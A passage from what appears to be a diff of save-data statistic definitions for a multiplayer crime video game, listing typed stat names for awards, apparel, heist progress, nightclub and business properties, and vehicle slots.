MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SPCARBIARMORPIERCINGCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SPCARBIFMJCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SPCARBIINCENDIARYCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers +(int)SPCARBITRACERCURRENT // Add MP0_ or MP1_ // MK2 Special Ammo trackers + +(int)STARTER_OUT1 // Add MP0_ or MP1_ // PE PURCHASED +(int)STARTER_TAT1 // Add MP0_ or MP1_ // PE PURCHASED +(int)STARTER_TAT2 // Add MP0_ or MP1_ // PE PURCHASED + + +(int)MPPLY_GANGOPS_ALLINORDER // track new awards +(int)MPPLY_GANGOPS_LOYALTY // track new awards +(int)MPPLY_GANGOPS_CRIMMASMD // track new awards +(bool)MPPLY_AWD_GANGOPS_IAA // track new awards +(bool)MPPLY_AWD_GANGOPS_SUBMARINE // track new awards +(bool)MPPLY_AWD_GANGOPS_ALLINORDER // track new awards +(bool)MPPLY_AWD_GANGOPS_LOYALTY // track new awards +(bool)MPPLY_AWD_GANGOPS_CRIMMASMD // track new awards +(bool)MPPLY_AWD_GANGOPS_MISSILE // track new awards + +(int)MPPLY_GANGOPS_LOYALTY2 // track new awards +(int)MPPLY_GANGOPS_LOYALTY3 // track new awards +(int)MPPLY_GANGOPS_CRIMMASMD2 // track new awards +(int)MPPLY_GANGOPS_CRIMMASMD3 // track new awards +(int)MPPLY_GANGOPS_SUPPORT // track new awards +(bool)MPPLY_AWD_GANGOPS_LOYALTY2 // track new awards +(bool)MPPLY_AWD_GANGOPS_LOYALTY3 // track new awards +(bool)MPPLY_AWD_GANGOPS_CRIMMASMD2 // track new awards +(bool)MPPLY_AWD_GANGOPS_CRIMMASMD3 // track new awards +(bool)MPPLY_AWD_GANGOPS_SUPPORT // track new awards + + +(int)AVENGER_ACCESS // Add MP0_ or MP1_ // AVENGER_ access +(int)AVENGER_DEFENCE_SETTING // Add MP0_ or MP1_ // AVENGER_ defense exclusion setting +(int)GANGOPS_HEIST_STATUS // Add MP0_ or MP1_ // i.e. flow process +(int)CE_SP_FLOW_NOTIFICATIONS // Add MP0_ or MP1_ // Email count +(int)ORBITAL_CANNON_COOLDOWN // Add MP0_ or MP1_ // Orbital Cannon cooldown +(int)ORBITAL_CANNON_KILLS // Add MP0_ or MP1_ // Orbital Cannon - Players killed + +(int)TATTOO_FM_UNLOCKS_30 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_30 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_30 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_31 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_31 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_31 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 + +(int)STROM_ASSIST_HELP // Add MP0_ or MP1_ // count number of times stromberg help has been displayed + +(int)DLC_APPAREL_ACQUIRED_139 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_140 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_141 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_142 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_143 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_144 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_145 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_146 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_147 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_148 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_149 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_150 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_151 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_152 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_153 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_139 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_140 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_141 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_142 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_143 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_144 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_145 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_146 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_147 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_148 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_149 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_150 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_151 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_152 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_153 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)CHAR_KIT_34_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_34_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_34_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE34 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_35_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_35_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_35_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE35 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_36_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_36_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_36_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE36 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_37_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_37_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_37_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE37 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_38_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_38_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_38_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE38 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_39_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_39_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_39_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE39 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_KIT_40_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_40_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 13 +(int)CHAR_KIT_40_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 13 +(int)CHAR_KIT_FM_PURCHASE40 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)CHAR_FM_WEAP_ADDON_16_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH16 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_16_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_16_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + + + +(int)HEISTCOOLDOWNTIMER0 // Add MP0_ or MP1_ // HEIST COOLDOWN TIMERS +(int)HEISTCOOLDOWNTIMER1 // Add MP0_ or MP1_ // HEIST COOLDOWN TIMERS +(int)HEISTCOOLDOWNTIMER2 // Add MP0_ or MP1_ // HEIST COOLDOWN TIMERS +(int)MPPLY_XMASLIVERIES0 // xmas liveries awards +(int)MPPLY_XMASLIVERIES1 // xmas liveries awards +(int)MPPLY_XMASLIVERIES2 // xmas liveries awards +(int)MPPLY_XMASLIVERIES3 // xmas liveries awards +(int)MPPLY_XMASLIVERIES4 // xmas liveries awards +(int)MPPLY_XMASLIVERIES5 // xmas liveries awards +(int)MPPLY_XMASLIVERIES6 // xmas liveries awards + +(int)MPPLY_XMASLIVERIES7 // xmas liveries awards +(int)MPPLY_XMASLIVERIES8 // xmas liveries awards +(int)MPPLY_XMASLIVERIES9 // xmas liveries awards +(int)MPPLY_XMASLIVERIES10 // xmas liveries awards +(int)MPPLY_XMASLIVERIES11 // xmas liveries awards +(int)MPPLY_XMASLIVERIES12 // xmas liveries awards +(int)MPPLY_XMASLIVERIES13 // xmas liveries awards +(int)MPPLY_XMASLIVERIES14 // xmas liveries awards +(int)MPPLY_XMASLIVERIES15 // xmas liveries awards +(int)MPPLY_XMASLIVERIES16 // xmas liveries awards + +(int)GANGOPS_FLOW_PASSED_BITSET // Add MP0_ or MP1_ // times each new heist strand has been completed +(bool)MPPLY_SIGN_SC_NEWSLET // track new awards + + +(int)CHAR_HAIR_VIEWED15 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK15 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CHAR_HAIR_VIEWED16 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 2 +(int)CHAR_HAIR_UNLCK16 // Add MP0_ or MP1_ // MP Char 0 - hair unlocked bitset 1 +(int)CR_BEAMHACK // Add MP0_ or MP1_ // keep track of how many times a player has completed the beamhack minigame +(u64)GANGOPS_LAUNCH_TIME // Add MP0_ or MP1_ // GANGOPS_LAUNCH_TIME + +(int)STARTER_PACK_PROP_BS // Add MP0_ or MP1_ // STARTER_PACK_PROP_BS +(int)STARTER_PACK_VEH_BS // Add MP0_ or MP1_ // STARTER_PACK_VEH_BS +(int)STARTER_PACK_WEAPON_BS // Add MP0_ or MP1_ // STARTER_PACK_WEAPON_BS +(int)STARTER_PACK_TATTOO_1_BS // Add MP0_ or MP1_ // STARTER_PACK_TATTOO_1_BS +(int)STARTER_PACK_TATTOO_2_BS // Add MP0_ or MP1_ // STARTER_PACK_TATTOO_2_BS +(int)STARTER_PACK_CLOTHING_1_BS // Add MP0_ or MP1_ // STARTER_PACK_CLOTHING_1_BS +(bool)STARTER_PACK_METRIC_SENT // Add MP0_ or MP1_ // STARTER_PACK_METRIC_SENT + +(int)CHAR_FM_WEAP_ADDON_17_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH17 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_17_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_17_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + +(int)GANGOPS_PREP_SKIP // Add MP0_ or MP1_ // MP Char 0 - Gang ops trip skips +(int)GANGOPS_FM_MISSION_SKIP // Add MP0_ or MP1_ // MP Char 0 - Gang ops trip skips + +(int)CHAR_FM_WEAP_ADDON_18_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)WEAP_FM_ADDON_PURCH18 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_WEAP_ADDON_18_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Addons unlocked bitset 6 +(int)CHAR_FM_WEAP_ADDON_18_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 + +(bool)HAS_PLAYED_HOTWIRE_HACK // Add MP0_ or MP1_ // HAS_PLAYED_HOTWIRE_HACK +(bool)DISABLE_FACILITY_EMBLEM // Add MP0_ or MP1_ // TOGGLE_FACILITY_EMBLEM + +(bool)DISABLE_FACILITY_BOARD // Add MP0_ or MP1_ // TOGGLE_FACILITY_BOARD +(int)FINALE_VEHICLE_CHOICE // Add MP0_ or MP1_ // MP Char 0 - Equipped addons bitset 6 +(int)SC_SET_HEIST2_PROGRESS // Add MP0_ or MP1_ // MP Char 0 - allow players to have thier heist progression set +(int)DELUXO_ASSIST_HELP // Add MP0_ or MP1_ // count number of times stromberg help has been displayed +(int)HEIST2_SESSION_ID_MACADDR // Add MP0_ or MP1_ // Heist help text +(int)HEIST2_SESSION_ID_POSTIME // Add MP0_ or MP1_ // Heist help text +(int)CSP_HELP_COUNTER // Add MP0_ or MP1_ // CSP help text +(int)MPPLY_DEATHS_PLAYER_SUICIDE // Number of deaths caused by other players, despite player trying to commits suicide +(bool)MSG_ELLIE // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_TEZERACT // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_FLASHGT // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_ISSI3 // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_SEASPARROW // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_CHEBUREK // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_DOMINATOR3 // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_TYRANT // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_MICHELLI // Add MP0_ or MP1_ // Displays vehicle unlock messages +(bool)MSG_JESTER3 // Add MP0_ or MP1_ // Displays vehicle unlock messages +(int)COUNT_HOTRING_RACE // Add MP0_ or MP1_ // Counts number of hotring races + +(short)MONEY_EARN_CLUB_INCOME // Add MP0_ or MP1_ // Money earn for cash collected from Safe for daily Nightclub income. +(int)FMBB_PCM_PROGRESS // Add MP0_ or MP1_ // MP Char 0 - allow players to have thier heist progression set +(int)PROP_BUSINESSHUB_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_BUSINESSHUB // Add MP0_ or MP1_ // Stores what other property player has purchased +(int)PROP_BUSINESSHUB_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +(int)BUSINESSHUB_OWNED // Add MP0_ or MP1_ // BusinessBattles business hub owned +(int)BUSINESSHUB_CONT_TOTAL // Add MP0_ or MP1_ // BusinessBattles business hub contraband units owned +(int)BUSINESSHUB_CONT_MISSION // Add MP0_ or MP1_ // BusinessBattles business hub contraband mission +(int)BUSINESSHUB_MOD_1 // Add MP0_ or MP1_ // BusinessBattles business hub customisation +(int)BUSINESSHUB_MOD_2 // Add MP0_ or MP1_ // BusinessBattles business hub customisation +(int)BUSINESSHUB_MOD_3 // Add MP0_ or MP1_ // BusinessBattles business hub customisation +(int)BUSINESSHUB_MOD_4 // Add MP0_ or MP1_ // BusinessBattles business hub customisation +(int)BUSINESSHUB_MOD_5 // Add MP0_ or MP1_ // BusinessBattles business hub customisation +(int)BUSINESSHUB_MOD_6 // Add MP0_ or MP1_ // BusinessBattles business hub customisation +(int)BUSINESSHUB_MOD_7 // Add MP0_ or MP1_ // BusinessBattles business hub customisation + +(int)PROP_NIGHTCLUB_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_NIGHTCLUB // Add MP0_ or MP1_ // Stores what other property player has purchased +(int)PROP_NIGHTCLUB_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +(int)NIGHTCLUB_OWNED // Add MP0_ or MP1_ // BusinessBattles nightclub owned +(int)NIGHTCLUB_CONT_TOTAL // Add MP0_ or MP1_ // BusinessBattles nightclub contraband units owned +(int)NIGHTCLUB_CONT_MISSION // Add MP0_ or MP1_ // BusinessBattles nightclub contraband mission +(int)NIGHTCLUB_STYLE // Add MP0_ or MP1_ // BusinessBattles nightclub customisation +(int)NIGHTCLUB_LIGHTING // Add MP0_ or MP1_ // BusinessBattles nightclub customisation +(int)NIGHTCLUB_DJCHOICE // Add MP0_ or MP1_ // BusinessBattles nightclub customisation +(int)NIGHTCLUB_MOD_4 // Add MP0_ or MP1_ // BusinessBattles nightclub customisation +(int)NIGHTCLUB_MOD_5 // Add MP0_ or MP1_ // BusinessBattles nightclub customisation +(int)NIGHTCLUB_MOD_6 // Add MP0_ or MP1_ // BusinessBattles nightclub customisation +(int)NIGHTCLUB_MOD_7 // Add MP0_ or MP1_ // BusinessBattles nightclub customisation + +(int)PROP_MEGAWARE_GAR1_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_MEGAWARE_GAR1 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_MEGAWARE_GAR1_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 +(int)PROP_MEGAWARE_GAR2_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_MEGAWARE_GAR2 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_MEGAWARE_GAR2_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 +(int)PROP_MEGAWARE_GAR3_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_MEGAWARE_GAR3 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_MEGAWARE_GAR3_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + + + + +(int)MPSV_VEHICLE_BS_194 // Add MP0_ or MP1_ // Vehicle_194 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_194 // Add MP0_ or MP1_ // Vehicle_194 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_194 // Add MP0_ or MP1_ // Vehicle_194 premium paid by destroyer of vehicle +(int)MPSV_MODEL_194 // Add MP0_ or MP1_ // Vehicle_194 model enum of vehicle +(int)MPSV_FLAGS_194 // Add MP0_ or MP1_ // Vehicle_194 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_194 // Add MP0_ or MP1_ // Vehicle_194 cost of vehicle when purchased + +(u64)MPSV_LP0_194 // Add MP0_ or MP1_ // Vehicle_194 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_195 // Add MP0_ or MP1_ // Vehicle_195 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_195 // Add MP0_ or MP1_ // Vehicle_195 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_195 // Add MP0_ or MP1_ // Vehicle_195 premium paid by destroyer of vehicle +(int)MPSV_MODEL_195 // Add MP0_ or MP1_ // Vehicle_195 model enum of vehicle +(int)MPSV_FLAGS_195 // Add MP0_ or MP1_ // Vehicle_195 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_195 // Add MP0_ or MP1_ // Vehicle_195 cost of vehicle when purchased + +(u64)MPSV_LP0_195 // Add MP0_ or MP1_ // Vehicle_195 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_196 // Add MP0_ or MP1_ // Vehicle_196 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_196 // Add MP0_ or MP1_ // Vehicle_196 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_196 // Add MP0_ or MP1_ // Vehicle_196 premium paid by destroyer of vehicle +(int)MPSV_MODEL_196 // Add MP0_ or MP1_ // Vehicle_196 model enum of vehicle +(int)MPSV_FLAGS_196 // Add MP0_ or MP1_ // Vehicle_196 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_196 // Add MP0_ or MP1_ // Vehicle_196 cost of vehicle when purchased + +(u64)MPSV_LP0_196 // Add MP0_ or MP1_ // Vehicle_196 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_197 // Add MP0_ or MP1_ // Vehicle_197 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_197 // Add MP0_ or MP1_ // Vehicle_197 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_197 // Add MP0_ or MP1_ // Vehicle_197 premium paid by destroyer of vehicle +(int)MPSV_MODEL_197 // Add MP0_ or MP1_ // Vehicle_197 model enum of vehicle +(int)MPSV_FLAGS_197 // Add MP0_ or MP1_ // Vehicle_197 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_197 // Add MP0_ or MP1_ // Vehicle_197 cost of vehicle when purchased + +(u64)MPSV_LP0_197 // Add MP0_ or MP1_ // Vehicle_197 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_198 // Add MP0_ or MP1_ // Vehicle_198 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_198 // Add MP0_ or MP1_ // Vehicle_198 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_198 // Add MP0_ or MP1_ // Vehicle_198 premium paid by destroyer of vehicle +(int)MPSV_MODEL_198 // Add MP0_ or MP1_ // Vehicle_198 model enum of vehicle +(int)MPSV_FLAGS_198 // Add MP0_ or MP1_ // Vehicle_198 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_198 // Add MP0_ or MP1_ // Vehicle_198 cost of vehicle when purchased + +(u64)MPSV_LP0_198 // Add MP0_ or MP1_ // Vehicle_198 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_199 // Add MP0_ or MP1_ // Vehicle_199 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_199 // Add MP0_ or MP1_ // Vehicle_199 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_199 // Add MP0_ or MP1_ // Vehicle_199 premium paid by destroyer of vehicle +(int)MPSV_MODEL_199 // Add MP0_ or MP1_ // Vehicle_199 model enum of vehicle +(int)MPSV_FLAGS_199 // Add MP0_ or MP1_ // Vehicle_199 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_199 // Add MP0_ or MP1_ // Vehicle_199 cost of vehicle when purchased + +(u64)MPSV_LP0_199 // Add MP0_ or MP1_ // Vehicle_199 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_200 // Add MP0_ or MP1_ // Vehicle_200 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_200 // Add MP0_ or MP1_ // Vehicle_200 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_200 // Add MP0_ or MP1_ // Vehicle_200 premium paid by destroyer of vehicle +(int)MPSV_MODEL_200 // Add MP0_ or MP1_ // Vehicle_200 model enum of vehicle +(int)MPSV_FLAGS_200 // Add MP0_ or MP1_ // Vehicle_200 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_200 // Add MP0_ or MP1_ // Vehicle_200 cost of vehicle when purchased + +(u64)MPSV_LP0_200 // Add MP0_ or MP1_ // Vehicle_200 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_201 // Add MP0_ or MP1_ // Vehicle_201 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_201 // Add MP0_ or MP1_ // Vehicle_201 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_201 // Add MP0_ or MP1_ // Vehicle_201 premium paid by destroyer of vehicle +(int)MPSV_MODEL_201 // Add MP0_ or MP1_ // Vehicle_201 model enum of vehicle +(int)MPSV_FLAGS_201 // Add MP0_ or MP1_ // Vehicle_201 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_201 // Add MP0_ or MP1_ // Vehicle_201 cost of vehicle when purchased + +(u64)MPSV_LP0_201 // Add MP0_ or MP1_ // Vehicle_201 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_202 // Add MP0_ or MP1_ // Vehicle_202 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_202 // Add MP0_ or MP1_ // Vehicle_202 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_202 // Add MP0_ or MP1_ // Vehicle_202 premium paid by destroyer of vehicle +(int)MPSV_MODEL_202 // Add MP0_ or MP1_ // Vehicle_202 model enum of vehicle +(int)MPSV_FLAGS_202 // Add MP0_ or MP1_ // Vehicle_202 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_202 // Add MP0_ or MP1_ // Vehicle_202 cost of vehicle when purchased + +(u64)MPSV_LP0_202 // Add MP0_ or MP1_ // Vehicle_202 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_203 // Add MP0_ or MP1_ // Vehicle_203 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_203 // Add MP0_ or MP1_ // Vehicle_203 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_203 // Add MP0_ or MP1_ // Vehicle_203 premium paid by destroyer of vehicle +(int)MPSV_MODEL_203 // Add MP0_ or MP1_ // Vehicle_203 model enum of vehicle +(int)MPSV_FLAGS_203 // Add MP0_ or MP1_ // Vehicle_203 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_203 // Add MP0_ or MP1_ // Vehicle_203 cost of vehicle when purchased + +(u64)MPSV_LP0_203 // Add MP0_ or MP1_ // Vehicle_203 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_204 // Add MP0_ or MP1_ // Vehicle_204 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_204 // Add MP0_ or MP1_ // Vehicle_204 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_204 // Add MP0_ or MP1_ // Vehicle_204 premium paid by destroyer of vehicle +(int)MPSV_MODEL_204 // Add MP0_ or MP1_ // Vehicle_204 model enum of vehicle +(int)MPSV_FLAGS_204 // Add MP0_ or MP1_ // Vehicle_204 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_204 // Add MP0_ or MP1_ // Vehicle_204 cost of vehicle when purchased + +(u64)MPSV_LP0_204 // Add MP0_ or MP1_ // Vehicle_204 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_205 // Add MP0_ or MP1_ // Vehicle_205 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_205 // Add MP0_ or MP1_ // Vehicle_205 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_205 // Add MP0_ or MP1_ // Vehicle_205 premium paid by destroyer of vehicle +(int)MPSV_MODEL_205 // Add MP0_ or MP1_ // Vehicle_205 model enum of vehicle +(int)MPSV_FLAGS_205 // Add MP0_ or MP1_ // Vehicle_205 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_205 // Add MP0_ or MP1_ // Vehicle_205 cost of vehicle when purchased + +(u64)MPSV_LP0_205 // Add MP0_ or MP1_ // Vehicle_205 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_206 // Add MP0_ or MP1_ // Vehicle_206 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_206 // Add MP0_ or MP1_ // Vehicle_206 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_206 // Add MP0_ or MP1_ // Vehicle_206 premium paid by destroyer of vehicle +(int)MPSV_MODEL_206 // Add MP0_ or MP1_ // Vehicle_206 model enum of vehicle +(int)MPSV_FLAGS_206 // Add MP0_ or MP1_ // Vehicle_206 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_206 // Add MP0_ or MP1_ // Vehicle_206 cost of vehicle when purchased + +(u64)MPSV_LP0_206 // Add MP0_ or MP1_ // Vehicle_206 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_207 // Add MP0_ or MP1_ // Vehicle_207 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_207 // Add MP0_ or MP1_ // Vehicle_207 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_207 // Add MP0_ or MP1_ // Vehicle_207 premium paid by destroyer of vehicle 